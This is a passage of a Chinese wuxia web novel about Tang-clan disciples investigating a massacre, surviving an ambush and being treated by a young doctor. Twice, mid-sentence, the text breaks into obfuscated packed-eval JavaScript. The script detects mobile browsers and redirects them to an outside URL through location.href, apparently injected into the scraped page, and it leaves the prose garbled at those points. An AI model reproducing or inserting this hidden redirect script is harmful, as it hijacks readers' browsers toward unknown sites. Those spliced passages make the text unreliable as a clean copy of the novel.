“韩老六你行啊,就没有你不认识的人?死个麻雀都跟你有关系。” “去你奶奶的熊,这两兄弟是归义坊的恶霸,出了名的亡命徒,我侄媳妇的本家弟兄就是被张勇打断腿的。”韩老六忿忿道。 “你韩老六不也挺能的吗?为啥不去帮你侄媳妇干他?”又一个好事者拱火。 “甘你娘。”韩老六明显生了火气,“他们抱上了贵哥的大腿,谁他娘的敢太岁头上动土。” 听到“贵哥”的名头,好事者们都缩了缩脖子,不再继续挑事儿。此时里正和捕快也到了,开始询问唯一的目击证人阎大花,可她似乎是被吓掉了魂,颠三倒四的说不清楚,呜呜渣渣地又喊又叫。 唐一禾使劲儿挤到前排,凑着耳朵听了半天,捋出个大致。倒是跟她之前的推测对上了,一开始是阎大花在替张勇、张军施法驱鬼,然后来了第一波黑衣人,跟送兄弟俩过来的人打了起来,之后又来了一波人,也是不分青红皂白地打。 阎大花的话到这里还算正常,因为来的都是人,但之后来的就是鬼了。她的声音陡然变得尖利刺耳,说先是来了一个女鬼,唱了一首歌,所有人就都跑了,最后来了一个男鬼,打跑了女鬼,杀了两兄弟。 唐一禾听得头大如斗,这都什么乱七八糟的?前面的还好理解,后面的神神鬼鬼,实在是难以尽信。估计里正和捕快也差不多感受,只得先将看热闹的人轰到门外,再行勘查现场之事。 随着夜幕降临,围观的人有的走了,有的走了又回来,还有新来的远处好事者,反正气氛热烈得很。唐一禾快步跟上伸懒腰离开的韩老六,悄声问:“韩老哥,麻烦问您个事儿,一句话的事儿”,同时不动声色地往他手里塞了一小块碎银,“那个贵哥,是不是就是唐门器部的那个唐……?” “嗯。”韩老六低低地应了一声,“就是那唐大贵。” 果然是器部做的坏事,唐一禾心中暗忖,只不过后面来的“鬼”,女鬼好查,男鬼难猜。 这个水真是越蹚越浑了。 …… 此时唐楚玉的脑子里,也是这么想的。 他听完探子汇报,眼睛都亮了,急匆匆地跑去跟人分享:“文璟你猜猜,一个装神弄鬼的巫婆子,能惹到多少人去看她跳大神?” 唐楚玉见高文璟没有丝毫接腔的意思,满脸冷漠之色,只好自问自答:“前前后后一共去了四五波人,其间不乏顶尖高手。啧啧,好家伙,真够我司南大师兄,忙活好一阵了。” 见高文璟仍然不为所动,唐楚玉决定放点猛料:“神锋和无名也去了哦,探子说是两个黑乎乎的少年,岁数可能比你我还要小一点。” 高文璟的眼神终于从书卷上离开,不耐烦的看向唐楚玉。唐楚玉知道这位爷耐心将尽,于是不再兜圈子:“不是你让我探神锋和无名的底吗?神锋太鸡贼了,最顶级的探子都跟不住。山影知道吧,跟了我外祖父几十年的老把式,本来他还不肯去,结果刚一出门就被神锋发现了,跟着兜了一圈还被甩掉了,回来以后面子上挂不住,主动请缨要去盯老陆头,非要把神锋无名的底给掀出来。” 见到高文璟连书都放下了,唐楚玉暗笑不已,心想装什么淡然清高,听到来劲的不也一样心痒难耐?唐楚玉清清嗓子,甩甩发辫,很是自得地说:“不跟不知道,一跟吓一跳,这个老陆头有点意思,竟然搅进了前几日全城哗然的广通镖局灭门案,还神通广大地把陆曼娘给救了出来。” “老陆头镖师出身,有双好招子,这些年没少给我们拳庄介绍新人,个顶个的能打,双方都赚了不少钱。原本想着老油条一根,结果老夫聊发少年狂,不知深浅地要给陆曼娘讨公道,话说陆曼娘是真貌美啊……” “说重点。”高文璟的后槽牙有点痒。 唐楚玉轻笑一声,从善如流地点头道:“老陆头也不知走了什么门道,竟然真给他摸到了门径,那可是唐司南不眠不休三日,掘地三尺才探得的死士消息。明眼人都知道陆家不过是替死鬼,真正的目标是我们制部的唐少阁主。谁让他树大招风,行事又招摇,现在人人奔着唐门令而来,他还想着纳妾。不过搞不好这位唐少阁主,对陆曼娘是真爱……” “你再说一次陆曼娘,我就撅你一根笛子。”高文璟一字一句地说。 唐楚玉最惯用的武器是一根玉笛,很符合他一贯烧包的特性。由于自诩精通音律,他还收藏了上百根名贵的笛子,时常拿来摩挲显摆,让高文璟很是烦躁。 唐楚玉知道高文璟从不威胁人,能动手时绝不废话,便不再东拉西扯,转回正题:“唐司泽那个混帐东西,被唐司南压着打了十几年,这几年看着长进了些,五毒派、花间派都能收拢到门中,没想到做事还是这么不计后果。这么大的灭门案,以为烧了庭院,遣散了死士,就能走不出消息吗?莫说唐司南,连我都知道当晚出了纰漏,陆曼娘给人救走了不说,走狗唐大贵跟他也不是一条心,把广通镖局翻了个底朝天,还不是信了那无稽之谈,所以才放了那么大一场火,想要毁尸灭迹。” 唐楚玉喝了一口水,抬手示意别着急,又磨蹭了一会才说:“传言广通镖局的陆老爷子当年在西域,机缘巧合得到了一个无价之宝,但没人说得清是什么。这种传言哪都有,广通镖局这个信的人多,反正我是不信的,但架不住唐大贵这种蠢人信啊。想想啊,无价之宝能是什么?武林秘籍可以自己练,不至于让人灭了门,藏宝图可以自己找,不至于几十年窝在罗城。要不就是斗大的夜明珠、或者神兵利器之类的,陆家当事人又不傻,这种东西怀璧其罪,早早拿出来给到拍卖行就是。” “总不会空穴来风的。”高文璟皱着眉头说,“唐司南要娶陆曼娘,搞不好也有这个心思在。” “要说是真爱,我还高看他一眼。”唐楚玉哼了一声,“据说唐司泽发了好大的火,把唐大贵绑了抽了好一顿鞭子。不过有一说一,唐大贵御人办事还行,挑选的死士都是硬骨头。我们唐少阁主费了好大劲,在嘉陵江、西岭山截到的死士都当场自尽,气得他拍碎了椅子。你要知道,他平日里跟你一样喜欢端着,很少这么失态的。” “哎呀呀,文璟你别着急啊,精彩的这不,马上就来了嘛。”唐楚玉笑嘻嘻地说,他难得见到高文璟吃瘪,愈发得意畅快起来,“我的线报本来到这就断了,然后老陆头自己就送上了门。山影说他几十年探子生涯,从未一晚上瞧到了这么多热闹。” “你再不痛快地说,我就直接去问山影,你自个儿憋着吧。”高文璟实在受不了了。 “我说我说。”唐楚玉见高文璟面色不虞,马上老实地快速道来,“山影先是跟着老陆头,来到了城东巫婆子阎大花的宅子前,看到老陆头跟阎大花嘀嘀咕咕一阵,然后打发了两个跑腿走,随后老陆头自己也走了。山影老道得很,他知道接下来会有好戏,随即寻了一个隐蔽之处,敛了全身气息,静静地等好戏开场。” “首先登场的是唐司南的人,都是老熟人,崇光、崇应那一伙,带着七八个人冲进来,将正在做法的阎大花一脚踹翻,直奔堂屋里那两个五花大绑的汉子,然后就跟屋里的其他人打了起来。山影原本不知道那两个绑着的人是谁,等到老陆头带着十个身着镖局服饰的人也冲了进来,开始边打边吼,总算听明白了。原来那两人是参与了广通镖局的死士,当晚撞了邪,浑身麻痹无法动弹,这几日能动弹了又痒症发作,抓得满身是血,只得绑住送来巫婆子这里驱邪。 “崇光是个明白人,马上联合了老陆头一起,人数上占了大上风,眼看就能将对方活捉,你猜怎么着,五毒教教主小彩仙竟然也来了。” “她一来,大家都知道没必要死磕了,毕竟这个女人疯名远播,又是器部的顶尖高手,还没等她唱完歌召集来毒虫毒物,在场的包括叫她来的器部弟子,都一溜烟跑掉了。小彩仙犯起劲儿来,敌我不分,凡是看不爽的皆可杀,不跑等着喂毒物呢。” “话说这个小彩仙也是真有病,本来要直接了结没跑掉的那两个血人,结果一看之下起了兴趣,上下其手又啃又舔的。山影颤抖着说太恶心了,一把年纪了,以为什么没见过,这个是真没见过。真是太恶心了,他说心里都看麻了,得给他加钱。”唐楚玉说到这,都忍不住做出嫌腻的表情,不知道又脑补了什么。 高文璟压下心中不适,语气淡淡地问:“神锋和无名就这么撞进来了?” “这不能,还没到他们出场呢。”唐楚玉又眉飞色舞起来,“我就知道,你只对那两人感兴趣。话说人家俩个是一对,你感兴趣也没用,还不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522922|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 见高文璟脸色已经很难看了,唐楚玉识趣地话锋一转:“还不如听我好好给你讲讲。山影说他都快熬不住了,突然发现阎大花的堂屋里多了一个人——一个蒙面黑衣人,鬼魅一样地出现。山影吓得浑身汗毛炸起,下意识就觉得完了,一个探子都没看到人怎么出现的,意味着怎么死的也不知道。小彩仙可能也是太沉迷玩弄了,对了,我猜那两人不是撞邪,而是中了奇毒,小彩仙只会对毒沉迷。失了先机的小彩仙也吃了亏,不过十余招就被打伤,放了毒雾才跑的。” 唐楚玉讲到这,也收了玩笑:“山影说,这个黑衣人倒没有恶癖,随手抓了两根竹签,反手甩入血糊拉碴两人的脖子,走的时候还往他隐蔽的地方看了一眼,才不紧不慢的离开,离开时踢醒了晕过去三回的巫婆子。” “这么说,神锋和无名没跟黑衣人碰上?”高文璟想了想,突然问道,“时间对不上,老陆头都已经带着镖局的人来了,就算神锋那边路程远点,也该到了。” “对。”唐楚玉点点头,“就说神锋鸡贼呢,山影明明看到老陆头的跑腿,带二人到了巷子口,那会小彩仙还没走呢,神锋踌躇半天愣是不进来,一直等到跟街坊邻居看热闹的凑一起。山影知道神锋敏锐无比,他也是一动不敢动,一直等到二人离开,才悄没声地回来复命。” “看清楚长什么样了吗?”高文璟问到,“确定是这二人吗?” “你不是说,外貌是人最不重要的东西吗?”唐楚玉很珍视自己的容貌,所以对高文璟这一点颇为不齿,“虽然只能根据赛场上的身型来判断,但山影跟踪过他们二人,所以打了包票。他说无名黑乎乎的,面目很是英俊,神锋的脸藏在帽子阴影下,看不大清,似乎也是个清秀的模样。” “那个黑衣人,你有什么猜测吗?”高文璟沉吟了一会,“能察觉出隐匿气息后的山影存在,内功必须远在山影之上,绝不是无名之辈,我这边倒是有几个人选。” “说说看。”唐楚玉最喜欢高文璟这点,脑子转的快又不故弄玄虚。 …… 此时此刻,相比高文璟和唐楚玉的轻松写意,唐一禾和唐烈风二人就有点狼狈了。 在回去的路上,她们遭到了伏击。 这次的跟踪者比昨天的,更加高明。唐一禾走了一段路才隐隐察觉出来,然后一顿紧走慢赶、远超近绕,也无法甩掉这个尾巴。待行至一处僻静掉头路,唐一禾悄悄将袖中的三只飞镖扣在手中,另一只手拉住旁边的师弟,转头低声说:“甩不掉,开干吧。” 唐烈风应承一声,身子往前半步,微微挡在唐一禾前面,全神贯注地注视着前方。 一道黑色的人影从黑暗中慢慢浮现,不高不矮的身型竟然有些熟悉,待触到弥漫而至的摄人压迫感时,唐一禾心中微颤,走夜路碰到鬼,怎么被“鬼夫”朗琅给缀上了! “几日不见,两位小友的武艺似乎精进不少。”“鬼夫”朗琅平静无波地说,似乎丝毫没把她们二人放在眼里。 “过奖过奖。”唐一禾心思转得飞快,“不知贵夫人身上的毒解了没有,我这还有两瓶冰肌雪露丸,清热美白有奇效,可拿去试试。” “有劳小友费心。”“鬼夫”朗琅冷笑了一声,“你俩死了,身上的东西自然也是我的。” 话音未落,“鬼夫”朗琅鬼魅般欺身而上,双掌分击二人,一出手就是十层功力。看到二人选择抽鞭拔剑硬扛,同时眼角微光一闪,“鬼夫”朗琅心中警铃大作,硬生生止住攻势,收掌向后翻出。 原来唐一禾悄无声息地抖开了天蚕冰伞,上面附赠给“鬼妇”魏巍同款毒药碧水天长,没想到被“鬼夫”朗琅在毫厘之间识破机关,让唐一禾暗叫可惜。 “鬼夫”朗琅双足尚未落地,就听上剑下鞭的攻势齐至,更有三枚飞镖直奔中路而来。 好小子,后招都准备好了啊,那就看看,今天到底鹿死谁手! “鬼夫”朗琅继上次铩羽而归后,经过多次复盘得出结论——再与这两个小子交手,二话不说直接下死手,想不到今晚不过多说了一句话,竟然差点再摔个跟头。他冷哼一声,不退反进,双足发力强踩软鞭,双掌翻飞硬夺剑身,同时袖中真气鼓荡,飞出三枚铁蒺藜,准确无误的击中飞镖。 唐一禾想不到“鬼夫”朗琅凶悍如斯,一招之内强扭攻防之势,仓促间也没有更多的办法,只得全力封堵抵抗。 “鬼夫”朗琅以一敌二,占尽上风,打得两人连连败退,唐一禾胸口气血翻腾,双臂如同灌了铅,软鞭也失去了往日的轻灵,只能外围游走伺机而动。唐烈风要稍好一点,尽管他用一柄长剑承接了大部分攻击,只是刚刚攀至“九转心经”第八层的内力,吞吐尚不能自如,停滞间会挨上一掌半掌。 “鬼夫”朗琅却越打越心惊。 分明前几日在客栈,高个少年接了自己三招就差点闭过气去,今日接了十余招了,打得颇有章法不说,内息似乎较刚交手时,还要强劲了一些。 矮个少年就更别提了,堪比臭虫蟑螂,武功不怎么样,尽出阴招,在一旁偷袭的时机和角度,每次都正好卡在他的进攻连招中间,导致打到现在,竟然还拿不下这两个小王八蛋。 “嘶啦”一声轻响,唐烈风的剑终于割开了“鬼夫”朗琅的衣袖,但还来不及高兴,他的心就被一把揪到了嗓子眼,因为唐一禾被“鬼夫”朗琅一掌击飞,重重地撞在一间已经打烊了的铺子门板上。“砰”的一声,力道之大,好似要把门框撞碎。 原来是“鬼夫”朗琅下定决心,甘愿以受点皮外伤的代价,也要先解决掉那个更讨厌的。 8. 死里逃生 看到“鬼夫”朗琅随意拂开自己的剑招,朝躺在地上的唐一禾方向转身,唐烈风急怒攻心,又无计可施,一股真气不受控制地从气海喷薄而出。 “铮~”地一声,脑海中仿佛有根弦断了。 唐烈风突然感觉身体也不受控制了,似乎进入到一种无我的玄妙之境,心随意动、招随气至,什么招式都忘个一干二净,就是一门心思地冲着“鬼夫”朗琅的要害,以剑为刀、棍、鞭等连着砍剁抡刺,进攻如漫天泼水般罩了过去。 这般只进攻不防守的打法,比较常见于市井争斗,高手过招都会留有后手,不会全然将自身置于险地。“鬼夫”朗琅刚一格挡,就愣怔了一下,立刻转身迎战,凝神接下各般杀招,心里也纳闷:这小子鬼上身了不成,怎么一下子厉害这么多?! 但“鬼夫”朗琅深知武学一途,任何异变都不会持续,所以他先守得密不透风,再缓缓拖着、慢慢来打。果然过得一阵,对方的气息略有散乱,进攻也变得没有那么连贯,“鬼夫”朗琅何许人也,眼光手段都老辣得紧,趁唐烈风攻势暂缓之际,突施冷招将他一脚踹翻,然后得势不饶人,紧跟而上又是一拳一掌,逼得失去玄妙之境的唐烈风,脚步踉跄着连连后退。 唐一禾借机爬起,但浑身跟散了架一样,胳膊大腿都在微微颤抖。刚才一撞让她差点晕厥,好在半空中借着拧腰翻转,卸去了部分劲力,然后顺势一招平沙落雁,又将冲击抵消了一些。除了翻滚下来的样子不太好看,内伤算不得太严重。 眼见唐烈风也扛不了多久了,唐一禾打开腰间竹筒,正待血饲碧螣,能让其在短期内爆发极大攻击力,心知这样对灵蛇不好,但到了这般田地,也只能拼上一拼。 这时,唐一禾身后的门板突然打开一条缝隙,一名白净的少年探出头来,朝唐一禾招招手:“进来。” 唐一禾摇头:“你快把门关好,加你也搞不赢。” “你怎么知道搞不赢?在唐门地盘上还能让外人欺负了?”少年不以为意地将门板缝隙打得更开,然后拖出一捆茸茸的茅草来。 唐一禾一见茅草形状和上面淡紫色的小果实,就知道是追魂草,点燃后烟雾剧毒,尤其对眼睛损伤极大,非常适合驱敌自保。 可就这一捆,也不太够啊。 仿佛看出唐一禾的心中所想,白净少年又拖出两捆追魂草扔给她,还从怀里掏出一张面罩扔过去,举动非常贴心了:“多的只有一张,届时让你哥哥屏息闭目。” 此时的唐烈风已经是强弩之末了,强大的实力差距,让他只能龟缩一隅,全力抵挡,刚才那一瞬间领悟的玄妙之感,也已经完全消失,又回到了被人按在地上摩擦的局面。 好在一把冒着白色烟雾的追魂草,及时飞到了二人中间,挡住了“鬼夫”朗琅的追身重击。唐一禾的软鞭也已经将点燃的追魂草,快速地抽散至街巷四处,暮春夜晚的风素来知情达意,毒雾不负所托地快速弥漫开来。 “鬼夫”朗琅足尖一点,跃至屋檐上方,沿着屋脊快速退走,远远地避开那条被白色烟雾笼罩的小街。待烟雾散尽,他再回来查看时,寻遍了店铺里里外外,也没找到三人的踪迹,只得不甘心地再次无功而返。 地下密室中,唐一禾给师弟塞了一颗回气丹,担忧地翻看着他的眼皮。 “你们真的不用我的解毒丹?”白面少年略略撅起了嘴,“唐门器部外门弟子,君白术。” “多谢,解毒丹先不用了,我们都预先含服了随身所带的避毒丸。”唐一禾奉上了最真挚的微笑,“师门要务在身,暂不能吐露身份,待事情了结后,必登门赔罪,酬谢救命之恩。” 君白术闻言更不高兴了:“一眼就看出来是唐门弟子了,还藏藏掖掖的。哼,不说就不说呗,那你让我,给你们看看伤吗?”君白术黑白分明的丹凤眼微微翘起,补了一句,“我是大夫。” 再不承情,就实在说不过去了,唐一禾狗腿地奉上了师弟的手腕。君白术的手长得极好看,修长白皙,骨节分明,指腹和虎口处带着薄茧,确实是拿脉施针的医者之手。 “你哥哥的内伤,你是想要他一日好,还是三日好,还是一直要好不好地这么躺着?”君白术的声音柔和清亮,说出来的话却如同惊雷。 “是,是价钱上有差异吗?”唐一禾有些结巴。 “这倒没有,诊金都是一样的,主要看你想怎么医。”君白术似笑非笑的看着唐一禾,凤眼中带着一丝报复般的戏弄,“一日好呢,就是我费点劲,他遭点罪;三日好呢,就是你费点钱,我费点心;一辈子躺呢,就是他受点苦,你就可以拿住他一辈子了。” 世界上还有这么体贴的大夫,提供如此细致的服务?唐一禾嘴巴都合不拢了:“那,那三日好吧。” “你很有钱吗?药材很贵的。”君白术慢条斯理的说,“散瘀补气的方子呢,要拳头大的红花、三指粗的人参、长成圆盘如意的灵芝,还要……” “那就一日好的吧。”唐一禾看出君白术在拿乔,于是配合地说,“我们囊中羞涩,就不劳您费心寻药配药了。一日好的,他遭点罪没事,您需要费什么劲儿,您直说,我别的没有,一把子力气倒是有的。” “嗬~”君白术笑出了声,“可是你说的啊,来,扶他盘腿坐好,上衣脱掉,我喊你使劲儿,你就得使劲儿啊。” 君白术收了玩笑之色,从腰间褡裢里翻出一个扁扁的布包,一摊开密密麻麻的,竟是数百根粗细不同的银针铜针。 看着切换到医者模式的君白术,唐一禾也收起了刚才的怀疑和轻视。不过十几岁的少年,言谈举止中还带着一份稚气,与印象中的大夫差距甚远,但他很快用行动击碎了唐一禾的成见。只见他认穴奇准、运针如飞,指尖飞点、双掌翻飞,顷刻间已经扎完了八十一针,唐烈风的头顶微微冒出白汗。 唐一禾还以为扎完了,只见君白术又翻出三根长针,在百会穴、神檀穴和气海中分别刺入,然后一指点在背部至阳穴上。唐一禾见师弟身体轻颤了一下,耳边传来君白术略着急的催促声:“快,嘴对嘴帮你哥哥吸出淤血。” 唐一禾飞快照做,一口一口往外吸,一开始血中带着黑色结块,之后便渐渐鲜红起来。 “使劲啊,吸不动的话……”君白术感觉快压不住笑意了,“就让他自己吐出来。” 唐一禾最后使劲嘬了一口,恨恨地说:“你是说我不吸,他也能自己吐出来吗?” “对啊。”君白术一脸无害地说,“你不是说你有一把子力气吗?不用白不用啊。” 唐一禾呸了一口,也不好发作,因为唐烈风已经睁开了眼睛,声音虽然沙哑但中气不弱:“我好多了,多谢大夫妙手回春。” 唐一禾不可置信地去探唐烈风的脉象,竟然一改治疗前的虚滞无力,变得紧绷强劲,看起来似乎内伤已经痊愈了。 这等医术,唐一禾觉得认知都被颠覆了。师弟的伤她心里是有数的,生扛了“鬼夫”朗琅三十余招重手,能全须全尾地捡回一条性命已是不易,好在他年轻体健,气血充盈,那也要躺上个十天半月,才能全然无碍地起身溜达。 所以刚才君白术说什么一日好、三日好的,唐一禾只当他在做戏,并没有放在心上,现在看来,君白术是来真的。 难道这就是传说中的医白骨、活死人? “神医,神医啊!”唐一禾双手合十,高举头顶做势就要往下拜,君白术翻了个白眼,伸手抓过她的手腕,语含不屑地说,“少来这套,你比你哥滑头多了,诊金一百两,一分都不能少,你的这一百两也是。” “咦?”在摸到唐一禾的腕脉后,换做君白术震惊了,他反复按了又按,“你,你竟然,是万里无一的男生女脉?” “啊?”唐一禾也震惊了,她在迟疑间被君白术拿过去手腕切脉,就有点后悔,不过转念一想,即是救命恩人又是神医,让他知道女子身份也没什么,结果她都听到了什么? 唐一禾罕见地彻底结巴,说不出囫囵话了:“我,我,男生,这……” 君白术见唐一禾如此惊恐,赶忙出言安慰:“筋脉异常是好事,刚柔并济更是好事,万不可妄自菲薄,自怜自艾。” 唐一禾深吸一口气,发出了灵魂质问:“神医啊,你是宁可相信我是万里挑一的筋脉异常,也不愿相信我是女子吗?” “啊!!!”君白术往后一仰,快速地撒开手,瞠目结舌道,“这个,这,对不起,我,我是真的没想到……” “我的伪装就这么成功吗?”唐一禾都无奈了。 “我,我只是觉得你如此聪明,又,又不在意外表,所以……”换成君白术结巴了,“不然,我也不会让你吸……” “我哪里聪明了?”唐一禾有些奇怪,但还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522923|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受了对方的赞美,“没事,是兄弟还是姐弟都无所谓,医者眼里无性别,不必拘泥于此。” 见到君白术还是一脸不可置信的表情,唐一禾赶紧再次明确:“你可以叫我大禾,禾苗的禾,他叫小风,风雨的风,他也不是我哥哥,是我弟弟。” “是师弟。”唐烈风纠正。 “一样的,你闭嘴。”唐一禾摁住师弟,言辞恳切地对君白术说,“君大夫,为了救我们两个,你这医药铺子怕是没法待了,我们的对头一定会回来盯着的。”她从身上掏出一沓银票放在案几上,“这是我们现在所有的钱了,你别嫌弃,先拿去赁屋子落脚。当然我们的性命也不止这个价,待我们办完事儿,一定上门重谢。” “叫我白术即可。”君白术从银票中抽出两张,笑嘻嘻地说,“诊金呢,自然是要两清的,我一会给你们各开两副小药,喝完包管明天就能活蹦乱跳。至于这个药铺呢,不过是来东边出诊歇脚的地儿,我堂堂万安堂堂主,排名第一的坐堂医,不怕任何人上门。以后你们若有事,当然不是咒你们生病,随时去怀贞坊万安药铺找我。” “至于救命之恩嘛……”君白术轻挑眉峰,顿了顿才说,“我就等着你们,涌泉相报。” …… 待唐一禾二人回到丰乐坊,已是第二日卯时,老陆正忧心忡忡地在正厅里绕圈,见到二人平安归来,终于放下心来,快步上前询问。 原来昨日老陆一边派人给唐司南、唐一禾报信,一边跑去喊镖局的人来当面对质,结果唐司南的人自己先寻了过来,而且他们似乎更清楚凶手是谁。当两方合力要擒住那两个证人时,小彩仙竟然来了,只能先行退走。 老陆担心唐一禾二人跟小彩仙碰上,讨不了好,火急火燎地往丰乐坊那边寻去,结果两头跑了个来回,不仅没找到人,还断了追凶线索,真是白忙活一晚上。 老陆的垂头丧气,在听完二人被“鬼夫”朗琅跟踪伏击后,变成了胆战心惊:“他,是怎么找到你们的?” “不知道,应该是在阎大花那里碰上的。”唐一禾摇摇头,把下一句话咽了回去——要么就是跟踪你老陆,才找到我们的。 “这么说,这里也是不安全的了?”老陆终于找回了一点理智。 “之前未必,跟的人已经好几茬了,都没能跟到这。”唐一禾思索了一阵,又凝神感知了片刻,才缓缓说道,“但老陆你肯定是被人盯上了,现在这里确实不安全了。白天我们收拾下,晚上打完比赛,不能回这里了。” 看到老陆露出惊恐的神情,唐一禾马上安慰老人家说:“你去找唐司南,让他派人保护陆曼娘。本来此事就是因他而起,现在曼娘的性命倒在其次了,主要得看唐司南能不能自证清白。” 老陆连连点头,离开时又反复确认,二人晚上是否还要去打擂台,如果受伤现在退出也是可以的,见二人坚持身体无碍,可以参赛,他再三叮嘱后才离开。 唐一禾的伤势相比唐烈风要轻了很多,她让师弟沐浴休息,她去快速烧水煎药,又在小厨房随意弄了口吃的,一起端了过去。看到师弟始终兴致不高的样子,唐一禾边吃边开导:“不就是被人打了一顿嘛,晚上我们就去打别人,找补回来。” “风,我觉得你厉害极了,这才多久,就能跟江湖上一等一的高手过招了,等再打得几轮擂台,你就能摁着那对鬼夫妇打了。到时候我帮你按住她们,女的打脸,男的踢裆。” “等你及冠,必能打得天下无敌手,到时候师姐就帮你去向陆曼娘提亲。” “咳咳咳~”正在吃烙饼的唐烈风被呛着了,他默默地咽下最后一口,才缓缓地说,“我在想,君白术一开始以为你是男子,所以让你帮我吸,后来知道你是女子后,就说不会让你吸。他到底在想什么?” “咳咳咳~”唐一禾也咳嗽起来,不知为何略感尴尬,“他神神叨叨的,可能神医都如此吧。你管他呢,下次我不吸了,你自己能吐出来,呸呸呸,没有下次了。” “你说,君白术给的第三个选择,真的有人会选择让人躺一辈子,来控制对方吗?”唐烈风略感不解。 唐一禾伸手拍过师弟的脑壳:“就跟你说了,君白术他不正常,你非要去探究一个神经的想法,你是不是想变神经?” 唐烈风默默地喝下药汁,心里想着,第三个选择,也未必不是一个好选择。 9. 身份暴露 第三次踏上金章擂台,唐烈风有了完全不一样的感觉。 有了“鬼夫”朗琅的生死教学,唐烈风觉得观众不重要、对手不重要、甚至连胜负都不再重要,重要的是能否在这场擂台上,再次摸到那种武学上的玄妙通达之感。 然后,唐烈风的这场比赛,打得非常难看,难看到唐一禾候场的时候都不忍心看。虽然他最后赢了,但面具都被打歪了,好在谨慎的唐一禾在出门前,熟门熟路地给他易容成一个黄脸老汉。 在看到面具后的半张脸后,无数失望的“哎哟”、“哦呜”声响起,尤其是女观众们叹息声,尤为响亮。带着夜叉面具的“无名”身姿挺拔,头发黑亮,很容易给人一种英美的神秘之感,结果却是个黄脸瘦老汉,可不是让人失望嘛。虽说也算是打赢了,但瞧瞧都被打成啥样了?在擂台上的大部分时间,他都在挨打,要不是武器不许开刃,早都被人砍成猪头了。 唐一禾由于受伤和休息不好,今日状态也明显不佳,因此她最期待的对手是“金丝猴”——那个猴是八人中综合实力最弱的一个,音技攻击对意志坚定的人来说威胁不大。然而老天并没有听到她的祈祷,反手把这块肥肉送给了“赤焰”,“赤焰”也不负老天的厚待,简单地一招制敌。 全场哗然,惊声四起。 “这个‘赤焰’也爆发了啊,前两场看着平平无奇呢。” “眼神不好呢,就早点去治,‘赤焰’他一直留有余地,看不出来吗?老子一路都压的他赢。” “是不是‘赤焰’和‘金丝猴’商量好了打假赛啊?看看到底有谁,压了重注赌‘赤焰’赢?” “你是不是傻啊?哪个憨批打假赛上来就输,合着也得演半场啊?” “这比赛有意思了哈,每一轮都在打破最快结束的记录。” “哎哟,我突然好期待,三个快枪手到底谁更快呢?” “你他娘的别总是开黄腔,边上好多婆娘呢。” …… 唐一禾这一轮赢得也不好看,不是唐烈风那样的场面不好看,实则无惊无险,而是场面还挺好看的,但赢得很艰难。 对手是一名老者,没带面具的脸跟带了面具一样,古井无波的,一双铁砂掌淫浸数十年,威猛异常。 前半段擂台,唐一禾是一点办法都没有,对于她的佯攻、试探、以及故意露出的破绽,老者是一概不理,只是稳打稳扎地用掌风笼罩住台面,慢慢将唐一禾逼到了擂台一角,然后突施杀手。而唐一禾只能在千钧一发之际,靠第六感躲过致命一击。 之后唐一禾扔掉了使得并不趁手的大刀,使出经部《筋经》中的劈空掌和擒拿手,虽然招式法门倒背如流,只可惜练得实在太少,匆匆上阵对敌,精妙之处施展不足一二。 老者自然也识得掌法厉害,出招更是谨慎小心,二人足足拆了三百多招,互相打得披头散发。直到最后,唐一禾突然开窍般悟到了擒拿手的精髓,一招“霸王折缰”得手后,反手将散落的发带当软鞭,狠狠地朝对方面门抽去,同时用尽全身力气模仿“鬼面夫妇”使过的腿法,另一只手却暗暗结了铁砂掌的印诀,三管齐下,出其不意地将老者踢下擂台。 …… 怀贞坊,万安药铺中。 已经睡下的君白术匆匆踢上丝履,披上外衫,跟着门房走进一间厢房,见到等候的二人不由大吃一惊:“大,禾?小,风?怎么又这幅样子?啧啧,谁把你们打成这样?还是那个黑衣人对手吗?” 君白术扭头吩咐门房赶紧去打热水、拿跌打损伤药膏去,他则飞快地一手一个,帮二人把脉:“倒是没什么大碍,咋一看挺吓人的。不过一天功夫,又搞出一身伤,我真是前功尽弃。” 唐一禾很识趣地掏出二百两银票递过去:“诊金先结,吃住挂帐,之后一并结算。” “我这是药铺,又不是客栈,你们是赖上我了吗?”君白术故作惊讶道,其实他一进门就扫见了地上的两个包袱。 “哎呀,白术您作为堂堂万安堂堂主,最是古道热肠、扶危济贫、高风亮节、英俊潇洒。”唐一禾露出自以为最可爱的笑容,“再说又不是白吃白喝,我还可以帮你分拣炮制药材,炒炙蒸煅样样来得。” 君白术嫌弃得直皱眉:“鼻青脸肿的,不适合那样笑。” 话虽如此,万安堂堂主还是勉为其难地吩咐下人,先去准备吃食被褥,再去开方煎药,然后打开针包对二人说:“若要一日好的话,两人都得扎。谁先来?” 唐一禾指着一旁神色恹恹的唐烈风说:“先给他扎吧。” “不,我偏要先给你扎。”君白术哼了一声,“你的伤势还重些,他是被人打到脑子了吗?怎么一句话都没得?” “那你还问个铲铲。”唐一禾入乡随俗很快,“他琢磨事儿呢,你不用管他,我是也要把上衣脱光吗?” “你!”君白术闭了闭眼睛,“你敢脱,我还不敢看呢,虽说医者眼里无性别……哎哎,别脱了,露出手臂和肩膀就行……咦?这个裹胸布还挺厚,你用不着那么厚的……这肯定是铁砂掌打的,你怎么惹上这么厉害的铁砂掌行家?” 